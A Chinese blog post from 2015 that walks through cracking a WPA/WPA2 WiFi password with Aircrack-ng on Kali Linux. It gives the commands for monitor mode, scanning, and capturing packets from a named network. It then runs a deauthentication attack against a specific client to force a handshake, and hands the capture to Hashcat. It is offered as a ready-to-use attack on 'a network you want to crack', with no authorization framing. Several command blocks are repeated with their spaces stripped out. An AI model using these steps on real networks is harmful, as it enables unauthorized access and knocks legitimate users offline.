破解WIFI（wpa/wpa2）

破解WiFi密码（WPA/WPA2）

如今，绝大部分的WiFi网络都采用了 WPA/WPA2 加密，WEP 加密已经极为罕见。所以本文就给大家介绍如何用 Aircrack-ng 工具包破解 WPA/WPA2 加密的 WiFi 网络。

Aircrack-ng 是一套 WiFi 网络审计工具，本文假定你已安装好了这套工具，如果还没有，可以参考Aircrack-ng Installation。本文使用的环境是 Kali Linux ，其中已经集成了 Aircrack-ng。

首先，我们要抓取客户端和热点之间的握手包。

将无线网卡插入电脑，打开 Terminal，输入：

ifconfig -a 确认网卡已连接(wlan0)ifconfig wlan0 up 加载网卡airmon-ng start wlan0 切换网卡到 monitor 模式ifconfig wlan0 down 卸载原始的 wlan0

1

2

3

4

ifconfig-a              确认网卡已连接(wlan0)

ifconfig wlan0 up        加载网卡

airmon-ngstart wlan0    切换网卡到monitor 模式

ifconfig wlan0 down      卸载原始的wlan0

返回结果：

输入命令：

airodump-ng mon0 扫描无线网络

1

airodump-ngmon0  扫描无线网络

选择一个想破解的网络，本文以第四条  D4:EE:07:0F:30:58   CH7   HiWiFi_0F3058  为例。

开始抓包：

airodump-ng mon0 -c 13 -w 0519 --bssid D4:EE:07:0F:30:58

1

airodump-ngmon0 -c13 -w0519 --bssidD4:EE:07:0F:30:58

-w 参数代表写入文件
–bssid 为结果过滤

下面利用 Deauth 攻击加快破解进程，新打开一个 Terminal，输入：

aireplay-ng -0 10 -a D4:EE:07:0F:30:58 -c 2C:D0:5A:4C:FF:E3 mon0

1

aireplay-ng-010 -aD4:EE:07:0F:30:58-c2C:D0:5A:4C:FF:E3mon0

这样会切断客户端和热点之间的连接，客户端尝试重新连接时，我们就会抓到握手包：

找到保存好的 cap 文件，到 https://hashcat.net/cap2hccap/ 转换为hccap文件，再利用 Hashcat 跑包，具体过程就不在此赘述了。

除非注明，一维博客文章均为原创，转载请以链接形式标明本文地址。
本文地址：http://11one.cn/2015/05/破解wifi密码（wpawpa2）/